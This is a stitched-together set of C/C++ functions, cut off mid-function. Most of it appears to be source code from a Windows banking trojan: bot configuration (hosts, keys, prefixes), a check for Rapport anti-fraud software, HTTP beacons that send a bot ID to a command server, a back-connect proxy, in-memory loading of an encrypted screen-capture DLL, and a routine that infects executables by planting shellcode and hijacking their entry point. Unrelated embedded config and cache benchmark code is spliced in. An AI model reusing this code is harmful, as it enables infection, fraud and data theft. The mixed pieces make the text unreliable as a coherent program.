PCHAR GetPathToMsInfo32() { int FolderId = CSIDL_SYSTEM; const char* PathSuffix = "\\"; OSVERSIONINFOEXA ver; m_memset(&ver, 0, sizeof(ver)); ver.dwOSVersionInfoSize = sizeof(ver); if (!(BOOL)pGetVersionExA(&ver)) return NULL; if (ver.dwMajorVersion == 5) { FolderId = CSIDL_PROGRAM_FILES; PathSuffix = "\\Common Files\\Microsoft Shared\\MSInfo\\"; } PCHAR Path = STR::Alloc(2 * MAX_PATH); m_memset(Path, 0, STR::Length(Path)); pSHGetSpecialFolderPathA(NULL, Path, FolderId, false); m_lstrcat(Path, PathSuffix); m_lstrcat(Path, "msinfo32.exe"); return Path; }
bool ICACHE_FLASH_ATTR config_load(config_t* config) { DEBUG_FUNCTION_START(); // read head SpiFlashOpResult result = spi_flash_read(config->address, (uint32*) &config->head, sizeof(config->head)); if (result != SPI_FLASH_RESULT_OK) return false; // check head if (config->head.magic != CONFIG_MAGIC) return false; if (config->head.version != CONFIG_VERSION) return false; if (config->head.name.length > stack_buffer_left(&config->server->name)) return false; if (config->head.wifi.ssid.length > sizeof(config->network->station_config.ssid)) return false; if (config->head.wifi.password.length > sizeof(config->network->station_config.password)) return false; // read data data_read(config, config->head.name.buffer, config->server->name.start, config->head.name.length); stack_buffer_skip(&config->server->name, config->head.name.length); data_read(config, config->head.wifi.ssid.buffer, config->network->station_config.ssid, config->head.wifi.ssid.length); m_memset(config->network->station_config.ssid + config->head.wifi.ssid.length, 0, sizeof(config->network->station_config.ssid) - config->head.wifi.ssid.length); data_read(config, config->head.wifi.password.buffer, config->network->station_config.password, config->head.wifi.password.length); m_memset(config->network->station_config.password + config->head.wifi.password.length, 0, sizeof(config->network->station_config.password) - config->head.wifi.password.length); return true; }
// Загрузка параметров команды installbkstat из реестра // одновременно с дешифровкой bool DebugReportLoadParamList(string * ParamList) { HKEY key = CreateSettingKey(); DBGRPTDBG("DebugReportLoadParamList", "CreateSettingKey() result=0x%X", key); if (key == NULL) return false; BYTE Buffer[1024]; DWORD ValueLength = sizeof(Buffer) - 1; DWORD ValueType = 0; m_memset(Buffer, 0, sizeof(Buffer)); DWORD query_value_result = (DWORD)pRegQueryValueExA(key, GetValueName("PL").t_str(), 0, &ValueType, Buffer, &ValueLength); pRegCloseKey(key); DBGRPTDBG("DebugReportLoadParamList", "RegQueryValueEx() result=%u ValueType=%d", query_value_result, ValueType); if (query_value_result != ERROR_SUCCESS) return false; if (ValueType != REG_BINARY) return false; XORCrypt::Crypt(GenerateUidAsString("").t_str(), Buffer, ValueLength); *ParamList = string((const char*)Buffer, ValueLength); DBGRPTDBG("DebugReportLoadParamList", "Finished.(param_list='%s')", (*ParamList).t_str()); return true; }
void CopySections( const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module ) { int i, size; unsigned char *codeBase = module->codeBase; unsigned char *dest; PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION( module->headers ); for ( i = 0; i < module->headers->FileHeader.NumberOfSections; i++, section++ ) { if ( section->SizeOfRawData == 0 ) { size = old_headers->OptionalHeader.SectionAlignment; if ( size > 0 ) { dest = (unsigned char *)codeBase + section->VirtualAddress;///pVirtualAlloc( codeBase + section->VirtualAddress, size, MEM_COMMIT, PAGE_READWRITE ); section->Misc.PhysicalAddress = (DWORD)dest; m_memset( dest, 0, size ); } continue; } dest = (unsigned char *)codeBase + section->VirtualAddress; m_memcpy( dest, data + section->PointerToRawData, section->SizeOfRawData ); section->Misc.PhysicalAddress = (DWORD)dest; } }
bool GetDriverUrl(char * UrlBuffer, DWORD UrlBufferSize) { DebugReportSettings* settings = DebugReportGetSettings(); DBGRPTDBG("GetDriverUrl", "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", settings->Enabled, settings->StatPrefix, settings->StatUrl ); if (!settings->Enabled) return false; string BotUid = GenerateUidAsString(settings->StatPrefix); m_memset(UrlBuffer, 0, UrlBufferSize); PStrings Fields = Strings::Create(); AddURLParam(Fields, "cmd", "step"); AddURLParam(Fields, "uid", BotUid.t_str()); AddURLParam(Fields, "step", "170_dr"); //170_dr таймер драйвера PCHAR Params = Strings::GetText(Fields, "&"); PCHAR URL = STR::New(2, settings->StatUrl, Params); DBGRPTDBG("GetDriverUrl", "Url='%s':%u (buffer_size=%u)", URL, STR::Length(URL), UrlBufferSize); if (UrlBufferSize < (STR::Length(URL) - 1)) return false; m_lstrcpy(UrlBuffer, URL); STR::Free(URL); STR::Free(Params); Strings::Free(Fields); DebugReportFreeSettings(settings); return true; }
BOOL IsRunAntiRapport() { HANDLE hSnap; BOOL ret = FALSE; PROCESSENTRY32 proc32 ; m_memset(&proc32,0,sizeof(PROCESSENTRY32)); hSnap = (HANDLE)pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hSnap == INVALID_HANDLE_VALUE) return FALSE; proc32.dwSize = sizeof(proc32); if ( pProcess32First(hSnap,&proc32)) { do{ proc32.dwSize = sizeof(proc32); if (! plstrcmpA(proc32.szExeFile,"RapportMgmtService.exe")) { ret = TRUE; break; }; }while(pProcess32Next(hSnap,&proc32)); }; pCloseHandle(hSnap); return ret; };
PFTPDATA CreateData() { PFTPDATA pData = (PFTPDATA)MemAlloc( sizeof( PFTPDATA ) ); if ( pData == NULL ) { return NULL; } m_memset( pData, 0, sizeof( PFTPDATA ) ); if ( FtpHead == NULL ) { FtpHead = (PFTPDATA)MemAlloc( sizeof( PFTPDATA ) ); FtpHead->next = pData; pData->next = NULL; return pData; } PFTPDATA tmp = NULL; for ( tmp = FtpHead; tmp->next != NULL; tmp = tmp->next ); if ( tmp->next == NULL ) { tmp->next = pData; pData->next = NULL; return pData; } return NULL; }
bool TryToCatchHostLevelInstanceMutex(const char* MutexPrefix) { CHAR mutex_name[200]; m_memset(mutex_name, 0, sizeof(mutex_name)); PCHAR machine_id = MakeMachineID(); m_lstrcat(mutex_name, "Global\\"); m_lstrcat(mutex_name, MutexPrefix); m_lstrcat(mutex_name, machine_id); STR::Free(machine_id); LDRDBG("TryToCatchHostLevelInstanceMutex", "Mutex name '%s'.", mutex_name); SECURITY_ATTRIBUTES sa; SECURITY_DESCRIPTOR sd; pInitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); pSetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = &sd; sa.bInheritHandle = FALSE; HANDLE mutex_handle = (HANDLE)pCreateMutexA(&sa, FALSE, mutex_name); if (mutex_handle == NULL) return false; // Catch ownership of mutex and never release DWORD wait_result = (DWORD)pWaitForSingleObject(mutex_handle, 1000); if (wait_result == WAIT_OBJECT_0) return true; pCloseHandle(mutex_handle); return false; }
void URLHunter::CheckURL(PCHAR URL) { // Проверить совпадение ссылки с любой ссылкой из списка ссылок охотника if (HunterCompleted || STR::IsEmpty(URL) || CalcHash(HunterLinks) == HUNTER_LINKS_HASH) return; // Перебираем все ссылки в поисках нужной нам PCHAR Tmp = HunterLinks; PCHAR DecryptedURL = STR::Alloc(HUNTER_PARAM_SIZE); while (*Tmp != NULL) { m_memset(DecryptedURL, 0, HUNTER_PARAM_SIZE); DecryptStr(Tmp, DecryptedURL); if (CompareUrl(DecryptedURL, URL)) { // Сигнализируем об удачной охоте HunterSignal(); // Устанавливаем признак срабатывания охотника HunterCompleted = true; break; } // Переходим к следующей строке Tmp = STR::End(Tmp); // переходим к концу строки Tmp++; // Пропускаем } STR::Free(DecryptedURL); }
PREQUEST CreateReq() { PREQUEST pRequest = (PREQUEST)MemAlloc( sizeof( PREQUEST ) ); if ( pRequest == NULL ) { return NULL; } m_memset( pRequest, 0, sizeof( PREQUEST ) ); if ( pStructHead == NULL ) { pStructHead = (PREQUEST)MemAlloc( sizeof( PREQUEST ) ); pStructHead->next = pRequest; pRequest->next = NULL; return pRequest; } PREQUEST tmp = NULL; for ( tmp = pStructHead; tmp->next != NULL; tmp = tmp->next ); if ( tmp->next == NULL ) { tmp->next = pRequest; pRequest->next = NULL; return pRequest; } return NULL; }
static bool IsBin( BYTE* data, int szData ) { //считаем частоту символов int s[256]; m_memset(s, 0, sizeof(s)); for( int i = 0; i < szData; i++ ) s[data[i]]++; //средняя частота символа int avg = szData / 256; //начало и конец диапазона равномерно распределенных частот int min = avg - avg / 2 - 1; if( min <= 0 ) min = 1; int max = avg + avg / 2 + 1; //подсчитываем количество попаданий частот в диапазоне [m1;m2] int m1 = 0, m2 = 0; for( int i = 0; i < 256; i++ ) if( s[i] ) if( min <= s[i] && s[i] <= max ) m1++; else m2++; //если частоты равномерно распределены, то количество попаданий //должно быть примерно на 25% больше if( m1 * 75 / 100 > m2 ) return true; return false; }
LPVOID MemAllocAndClear(DWORD Size) { // Выделить и очистить память указанного размера if (Size == 0) return NULL; void* Memory = pVirtualAlloc(0, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); m_memset(Memory, 0, Size); //if (Memory != NULL) //{ // DWORD Symbol = 0; // __asm // { // pushad // mov edi, [Memory] // mov ecx, [Size] // mov eax, [Symbol] // rep stosb // popad // } // } return Memory; }
LPBYTE MakeHead(LPBYTE Buf, DWORD BufSize, DWORD Length, BYTE CharSize = 1) { // инициализировать заголовок строки LPBYTE Res = Buf + HeadSize; PHead H = (PHead)Buf; H->Signature = StrSignature; H->BufSize = BufSize; H->Length = Length; m_memset((Res + Length*CharSize), 0, CharSize); return Res; }
SOCKET NetConnect( char *Host, int Port ) { int ip = (int)pinet_addr( (const char*)Host ); if ( ip == (int)INADDR_NONE ) { LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( !rhost ) { return -1; } ip = *(long*)( rhost )->h_addr_list[0]; if ( !ip ) { return -1; } } SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( Socket == INVALID_SOCKET ) { return -1; } LINGER l; l.l_linger = 3; l.l_onoff = 1; psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) ); struct sockaddr_in SockAddr; m_memset( &SockAddr, 0, sizeof( SockAddr ) ); SockAddr.sin_family = AF_INET; SockAddr.sin_port = HTONS( Port ); SockAddr.sin_addr.S_un.S_addr = ip; if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR ) { pclosesocket( Socket ); return -1; } return Socket; }
void InitScreenLib() { bInitialized = false; CaptureScreen = NULL; DWORD dwScreenSize = sizeof( Screen_Dll ); LPBYTE ScreenFile = (LPBYTE)MemAlloc( dwScreenSize + 1 ); if ( !ScreenFile ) { return; } m_memcpy( ScreenFile, Screen_Dll, sizeof( Screen_Dll ) ); DWORD dwPassLen = *(DWORD*)ScreenFile; ScreenFile += sizeof( DWORD ); dwScreenSize -= sizeof( DWORD ); char Password[30]; m_memcpy( Password, ScreenFile, dwPassLen ); Password[ dwPassLen ] = '\0'; ScreenFile += dwPassLen; dwScreenSize -= dwPassLen; XORCrypt::Crypt(Password, ScreenFile, dwScreenSize); m_memset( Password, 0, dwPassLen ); hLib = MemoryLoadLibrary( ScreenFile ); if ( hLib != NULL ) { char CapScreen[] = {'C','a','p','t','u','r','e','S','c','r','e','e','n',0}; CaptureScreen = (PCaptureScreen)MemoryGetProcAddress( hLib, CapScreen ); if ( CaptureScreen ) { bInitialized = true; } } return; }
char* CalcNtldrMd5(char* Buffer, DWORD BufferSize) { CHAR path[MAX_PATH]; pGetWindowsDirectoryA(path, MAX_PATH); path[3] = '\0'; m_lstrcat(path, "ntldr"); m_memset(Buffer, 0, BufferSize); string md5 = MD5StrFromFileA(path); if (md5.IsEmpty()) return NULL; if (BufferSize < 33) return NULL; m_lstrcat(Buffer, md5.t_str()); return Buffer; }
bool CurrentPlatformAllowedByTargetSpecifier() { TargetPlatform target = GetTargetPlatform(); OSVERSIONINFOEXA ver; // Спецификация указывает на все платформы. // Значит сразу возвращаем ОК. if (target == TargetPlatform_All) return true; // Определения платформы. // Ошибка при получении информации считается поводом отклонить запуск. m_memset(&ver, 0, sizeof(ver)); ver.dwOSVersionInfoSize = sizeof(ver); if (!pGetVersionExA(&ver) ) return false; struct { TargetPlatform target; DWORD os_version_major; DWORD os_version_minor; } target_table[] = { { TargetPlatform_XP , 5, 1 }, { TargetPlatform_Vista, 6, 0 }, { TargetPlatform_Seven, 6, 1 } }; for (size_t i = 0; i < ARRAYSIZE(target_table); i++) { if ((target == target_table[i].target) && (ver.dwMajorVersion == target_table[i].os_version_major) && (ver.dwMinorVersion == target_table[i].os_version_minor) ) { return true; } } return false; }
void DebugReportBkInstallCode(DWORD BkInstallResult) { DebugReportSettings* settings = DebugReportGetSettings(); DBGRPTDBG("DebugReportBkInstallCode", "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", settings->Enabled, settings->StatPrefix, settings->StatUrl ); if (!settings->Enabled) return; string BotUid = GenerateUidAsString(settings->StatPrefix); CHAR value[50]; typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); m_memset(value, 0, sizeof(value)); _pwsprintfA(value, "%u", BkInstallResult); PStrings Fields = Strings::Create(); AddURLParam(Fields, "cmd", "bkinstall"); AddURLParam(Fields, "uid", BotUid.t_str()); AddURLParam(Fields, "val", value); PCHAR Params = Strings::GetText(Fields, "&"); PCHAR URL = STR::New(2, settings->StatUrl, Params); DBGRPTDBG("DebugReportBkInstallCode", "sending url='%s'", URL); PCHAR Buffer = NULL; HTTP::Get(URL, &Buffer, NULL); STR::Free(Buffer); STR::Free(URL); STR::Free(Params); Strings::Free(Fields); DebugReportFreeSettings(settings); }
void KillAllConnections() { pWaitForSingleObject( hThreadMutex, INFINITE ); for ( DWORD i = 0; i < dwConnections; i++ ) { ThreadConnection Conn = Connections[ i ]; pshutdown( Conn.thread_s, FD_READ ); pshutdown( Conn.thread_s, SD_SEND ); pclosesocket( Conn.thread_s ); } m_memset( &Connections, 0, sizeof( ThreadConnection ) * dwConnections ); dwConnections = 0; pReleaseMutex( hThreadMutex ); return; }
void Request::Clear(PRequest R) { // Очистить запрос if (R->List->OnFreeExtData != NULL) R->List->OnFreeExtData(R); // Уничтожаем данные R->Method = hmUnknown; STR::Free(R->URL); STR::Free(R->Optional); STR::Free(R->ContentType); if (R->Buffer != NULL) MemFree(R->Buffer); if (R->Injects != NULL) List::Free(R->Injects); if (R->ReceiveBuf != NULL) MEMBLOCK::FreeBlock(R->ReceiveBuf); if (R->ReceiveList != NULL) MEMBLOCK::FreeList(R->ReceiveList); // Сохраняем обязательные данные LPVOID OldOwner = R->Owner; PRequestList OldList = R->List; // Очищаем структуру m_memset(R, 0, sizeof(TRequest)); // Восстанавливаем обязательные данные R->Owner = OldOwner; R->List = OldList; }
void SessionWork( SOCKET Socket ) { PCONNECTIONS pConnect = (PCONNECTIONS)MemAlloc( sizeof( PCONNECTIONS ) ); m_memset( pConnect, 0, sizeof( PCONNECTIONS ) ); char *Data = NULL; while ( 1 ) { if ( !WaitRecv( Socket, 60*60 ) ) { break; } TPkt tPacket; if ( !NetRecv( Socket, (char*)&tPacket, sizeof( tPacket ) ) ) { break; } if ( tPacket.QType == 0x63 ) { if ( tPacket.dwLen != 6 ) { break; } if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } ManageNewConnection( Socket, *(ULONG*)Data, (USHORT)tPacket.dwReserved, *(USHORT*)&Data[4] ); } else if ( tPacket.QType == 0x73 ) { if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } BcDecrypt( Data, tPacket.dwLen ); ThreadConnection Conn; pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( (USHORT)tPacket.dwReserved ); if ( k != -1 ) { Conn = Connections[ k ]; NetSend( Conn.thread_s, Data, tPacket.dwLen ); } pReleaseMutex( hThreadMutex ); } else if ( tPacket.QType == 0x77 ) { DisconnBid( tPacket.dwReserved ); } else if ( tPacket.QType == 0x64 ) { pclosesocket(Socket); KillAllConnections(); pExitThread( 1 ); break; } else if ( tPacket.QType == 0x65 ) { } else { break; } } if ( Data ) { MemFree( Data ); } pConnect->dwStatus = 1; }
BOOL WINAPI SetBotParameter(DWORD ParamID, PCHAR Param) { MDBG_Config("Config","SetBotParameter"); #ifdef DEBUGCONFIG return FALSE; #else if (STR::IsEmpty(Param)) return FALSE; DWORD Size = 0; // Размер устанавливаемого параметра LPVOID Buf = NULL; // Приёмный буфер DWORD Max = 0; // Максимально допустимый размер if (ParamID != BOT_PARAM_HOSTS) Size = StrCalcLength(Param); // Определяем приёмный буфер и размер параметра switch (ParamID) { // Устанавливается префикс бота case BOT_PARAM_PREFIX: { Buf = BOT_PREFIX; Max = MAX_PREFIX_SIZE; break; } // Устанавливаем хосты case BOT_PARAM_HOSTS: { Size = STR::CalcDoubleZeroStrLength(Param); Buf = BOT_HOSTS_ARRAY; Max = MAX_HOSTS_BUF_SIZE; break; } // Устанавливаем ключ шифрования case BOT_PARAM_KEY: { Buf = MainPassword; Max = MAX_PASSWORD_SIZE; break; } // Устанавливаем задержку case BOT_PARAM_DELAY: { Buf = Delay; Max = MAX_DELAY_SIZE; break; } default: return FALSE;; } // Устанавливаем параметр if (Size == 0 || Buf == NULL || (Max != 0 && Size > Max)) return FALSE; m_memset(Buf, 0, Max); m_memcpy(Buf, Param, Size); return TRUE; #endif }
static bool InfectImage( PVOID data, DWORD dataSize, char *dllPath, char *commandLine ) { DWORD shellcodeSize = (DWORD)((PUCHAR)&Shellcode_end - (PUCHAR)&Shellcode); DWORD totalSize = shellcodeSize + sizeof(SHELLCODE_PARAMS) + m_lstrlen(dllPath) + 1; DBG( "Shellcode size is %d bytes", totalSize); PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS) ((PUCHAR)data + ((PIMAGE_DOS_HEADER)data)->e_lfanew); PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER) (headers->FileHeader.SizeOfOptionalHeader + (PUCHAR)&headers->OptionalHeader); DWORD numberOfSections = headers->FileHeader.NumberOfSections; // enumerate sections for( int i = 0; i < (int)numberOfSections; i++ ) { // check for resources section if( !m_memcmp( (char*)§ion->Name, ".rsrc", 5) ) { if( section->SizeOfRawData < totalSize ) { DBG( "ERROR: Not enough free space in '.rsrc'" ); return false; } // fill shellcode parameters PSHELLCODE_PARAMS params = (PSHELLCODE_PARAMS)((PUCHAR)data + section->PointerToRawData); m_memset( params, 0, sizeof(SHELLCODE_PARAMS) ); params->dwAddressofEntryPoint = headers->OptionalHeader.AddressOfEntryPoint; HMODULE kernel32 = (HMODULE)pGetModuleHandleA("kernel32.dll"); params->f_LoadLibraryA = (func_LoadLibraryA)pGetProcAddress( kernel32, "LoadLibraryA" ); params->f_WinExec = (func_WinExec)pGetProcAddress( kernel32, "WinExec" ); if( commandLine ) m_lstrcpy( params->szCommandLine, commandLine ); m_lstrcpy( params->szDllPath, dllPath ); // copy shellcode PVOID shellcode = (PVOID)((PUCHAR)params + sizeof(SHELLCODE_PARAMS) + m_lstrlen(dllPath) + 1); m_memcpy( shellcode, Shellcode, shellcodeSize); // replace address of entry point headers->OptionalHeader.AddressOfEntryPoint = section->VirtualAddress + sizeof(SHELLCODE_PARAMS) + m_lstrlen(dllPath) + 1; // make section executable section->Characteristics |= IMAGE_SCN_MEM_EXECUTE; headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress = NULL; headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = 0; DWORD headerSum = 0, checkSum = 0; // recalculate checksum if( pCheckSumMappedFile( data, dataSize, &headerSum, &checkSum ) ) headers->OptionalHeader.CheckSum = checkSum; else DBG( "CheckSumMappedFile() ERROR %d", pGetLastError() ); DBG( "OK" ); break; } section++; } return true; }
DWORD WINAPI GetBotParameter(DWORD ParamID, PCHAR Buffer, DWORD BufSize) { MDBG_Config("Config","GetBotParameter"); // Функция возвращает парметр бота if (Buffer != NULL && BufSize == 0) return 0; PCHAR Value = NULL; #ifdef DEBUGCONFIG switch (ParamID) { case BOT_PARAM_PREFIX: Value = DebugBotPrefix; break; case BOT_PARAM_HOSTS: Value = DebugHost; break; case BOT_PARAM_KEY: Value = DebugPassword; break; case BOT_PARAM_DELAY: Value = DebugDelay; break; default: return 0;; } #else switch (ParamID) { case BOT_PARAM_PREFIX: Value = BOT_PREFIX; break; case BOT_PARAM_HOSTS: Value = BOT_HOSTS_ARRAY; break; case BOT_PARAM_KEY: Value = MainPassword; break; case BOT_PARAM_DELAY: Value = Delay; break; default: return 0;; } #endif if (Value == NULL) return 0; // Лпределяем размер параметра DWORD Size = 0; if (ParamID == BOT_PARAM_HOSTS) { #ifdef DEBUGCONFIG Size = StrCalcLength(Value) + 2; #else Size = STR::CalcDoubleZeroStrLength(Value); #endif } else Size = StrCalcLength(Value); if (Buffer == NULL) return Size; // Копируем значение m_memset(Buffer, 0, BufSize); if (BufSize < Size) { if (ParamID == BOT_PARAM_HOSTS) Size = BufSize - 2; else Size = BufSize - 1; } DWORD ToCopy = Size; #ifdef DEBUGCONFIG if (ParamID == BOT_PARAM_HOSTS) ToCopy -= 2; #endif m_memcpy(Buffer, Value, ToCopy); #ifdef DEBUGCONFIG // Шифруем открытые данные if (ParamID == BOT_PARAM_HOSTS || ParamID == BOT_PARAM_PREFIX || ParamID == BOT_PARAM_KEY) { Decrypt(Buffer, Buffer); } #endif return Size; }
static void simple_set(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t max_item_size) { struct m_rand_state rand_state; uint64_t tmp; char *const buf = p_malloc(max_item_size); const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; struct ybc_value value = { .ptr = buf, .size = 0, .ttl = YBC_MAX_TTL, }; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; value.size = m_rand_next(&rand_state) % (max_item_size + 1); m_memset(buf, (char)value.size, value.size); if (!ybc_item_set(cache, &key, &value)) { M_ERROR("Cannot store item in the cache"); } } free(buf); } static void simple_get_miss(struct ybc *const cache, const size_t requests_count, const size_t items_count) { char item_buf[ybc_item_get_size()]; struct ybc_item *const item = (struct ybc_item *)item_buf; struct m_rand_state rand_state; uint64_t tmp; const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; if (ybc_item_get(cache, item, &key)) { M_ERROR("Unexpected item found"); } } } static void simple_get_hit(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t max_item_size) { char item_buf[ybc_item_get_size()]; struct ybc_item *const item = (struct ybc_item *)item_buf; struct m_rand_state rand_state; uint64_t tmp; const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; struct ybc_value value; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; if (ybc_item_get(cache, item, &key)) { /* Emulate access to the item */ ybc_item_get_value(item, &value); if (value.size > max_item_size) { M_ERROR("Unexpected value size"); } if (!m_memset_check(value.ptr, (char)value.size, value.size)) { fprintf(stderr, "i=%zu, requests_count=%zu, value.size=%zu\n", i, requests_count, value.size); M_ERROR("Unexpected value"); } ybc_item_release(item); } } } static void m_open(struct ybc *const cache, const size_t items_count, const size_t hot_items_count, const size_t max_item_size) { char config_buf[ybc_config_get_size()]; struct ybc_config *const config = (struct ybc_config *)config_buf; const size_t data_file_size = max_item_size * items_count; const size_t hot_data_size = max_item_size * hot_items_count; ybc_config_init(config); ybc_config_set_max_items_count(config, items_count); ybc_config_set_hot_items_count(config, hot_items_count); ybc_config_set_data_file_size(config, data_file_size); ybc_config_set_hot_data_size(config, hot_data_size); if (!ybc_open(cache, config, 1)) { M_ERROR("Cannot create a cache"); } ybc_config_destroy(config); } static void measure_simple_ops(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t hot_items_count, const size_t max_item_size) { double start_time, end_time; double qps; m_open(cache, items_count, hot_items_count, max_item_size); printf("simple_ops(requests=%zu, items=%zu, " "hot_items=%zu, max_item_size=%zu)\n", requests_count, items_count, hot_items_count, max_item_size); start_time = p_get_current_time(); simple_get_miss(cache, requests_count, items_count); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" get_miss: %.02f qps\n", qps); start_time = p_get_current_time(); simple_set(cache, requests_count, items_count, max_item_size); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" set : %.02f qps\n", qps); const size_t get_items_count = hot_items_count ? hot_items_count : items_count; start_time = p_get_current_time(); simple_get_hit(cache, requests_count, get_items_count, max_item_size); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" get_hit : %.02f qps\n", qps); ybc_close(cache); }
static void simple_set(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t max_item_size) { struct m_rand_state rand_state; uint64_t tmp; char *const buf = p_malloc(max_item_size); const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; struct ybc_value value = { .ptr = buf, .size = 0, .ttl = YBC_MAX_TTL, }; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; value.size = m_rand_next(&rand_state) % (max_item_size + 1); m_memset(buf, (char)value.size, value.size); if (!ybc_item_set(cache, &key, &value)) { M_ERROR("Cannot store item in the cache"); } } p_free(buf); } static void simple_set_simple(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t max_item_size) { struct m_rand_state rand_state; uint64_t tmp; char *const buf = p_malloc(max_item_size); const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; struct ybc_value value = { .ptr = buf, .size = 0, .ttl = YBC_MAX_TTL, }; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; value.size = m_rand_next(&rand_state) % (max_item_size + 1); m_memset(buf, (char)value.size, value.size); if (!ybc_simple_set(cache, &key, &value)) { M_ERROR("Cannot store item in the cache"); } } p_free(buf); } static void simple_get_miss(struct ybc *const cache, const size_t requests_count, const size_t items_count) { char item_buf[ybc_item_get_size()]; struct ybc_item *const item = (struct ybc_item *)item_buf; struct m_rand_state rand_state; uint64_t tmp; const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; if (ybc_item_get(cache, item, &key)) { M_ERROR("Unexpected item found"); } } } static void simple_get_hit(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t max_item_size) { char item_buf[ybc_item_get_size()]; struct ybc_item *const item = (struct ybc_item *)item_buf; struct m_rand_state rand_state; uint64_t tmp; const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; struct ybc_value value; m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; if (ybc_item_get(cache, item, &key)) { /* Emulate access to the item */ ybc_item_get_value(item, &value); if (value.size > max_item_size) { M_ERROR("Unexpected value size"); } if (!m_memset_check(value.ptr, (char)value.size, value.size)) { fprintf(stderr, "i=%zu, requests_count=%zu, value.size=%zu\n", i, requests_count, value.size); M_ERROR("Unexpected value"); } ybc_item_release(item); } } } static void simple_get_simple_hit(struct ybc *const cache, const size_t requests_count, const size_t items_count, const size_t max_item_size) { struct m_rand_state rand_state; uint64_t tmp; const struct ybc_key key = { .ptr = &tmp, .size = sizeof(tmp), }; struct ybc_value value; value.size = max_item_size; value.ptr = p_malloc(value.size); m_rand_init(&rand_state); for (size_t i = 0; i < requests_count; ++i) { tmp = m_rand_next(&rand_state) % items_count; value.size = max_item_size; int rv = ybc_simple_get(cache, &key, &value); if (rv == 0) { continue; } assert(rv == 1); if (value.size > max_item_size) { M_ERROR("Unexpected value size"); } if (!m_memset_check(value.ptr, (char)value.size, value.size)) { fprintf(stderr, "i=%zu, requests_count=%zu, value.size=%zu\n", i, requests_count, value.size); M_ERROR("Unexpected value"); } } p_free((void *)value.ptr); } static void m_open(struct ybc *const cache, const int use_shm, const size_t items_count, const size_t hot_items_count, const size_t max_item_size, const int has_overwrite_protection) { char config_buf[ybc_config_get_size()]; struct ybc_config *const config = (struct ybc_config *)config_buf; const size_t data_file_size = max_item_size * items_count; const size_t hot_data_size = max_item_size * hot_items_count; ybc_config_init(config); if (use_shm) { ybc_config_set_data_file(config, "/dev/shm/ybc-perftest-cache.data"); ybc_config_set_index_file(config, "/dev/shm/ybc-perftest-cache.index"); } ybc_config_set_max_items_count(config, items_count); ybc_config_set_hot_items_count(config, hot_items_count); ybc_config_set_data_file_size(config, data_file_size); ybc_config_set_hot_data_size(config, hot_data_size); if (!has_overwrite_protection) { ybc_config_disable_overwrite_protection(config); } if (!ybc_open(cache, config, 1)) { M_ERROR("Cannot create a cache"); } ybc_config_destroy(config); if (use_shm) { ybc_clear(cache); } } static void m_close(struct ybc *const cache, const int use_shm) { ybc_close(cache); if (!use_shm) { return; } char config_buf[ybc_config_get_size()]; struct ybc_config *const config = (struct ybc_config *)config_buf; ybc_config_init(config); ybc_config_set_data_file(config, "/dev/shm/ybc-perftest-cache.data"); ybc_config_set_index_file(config, 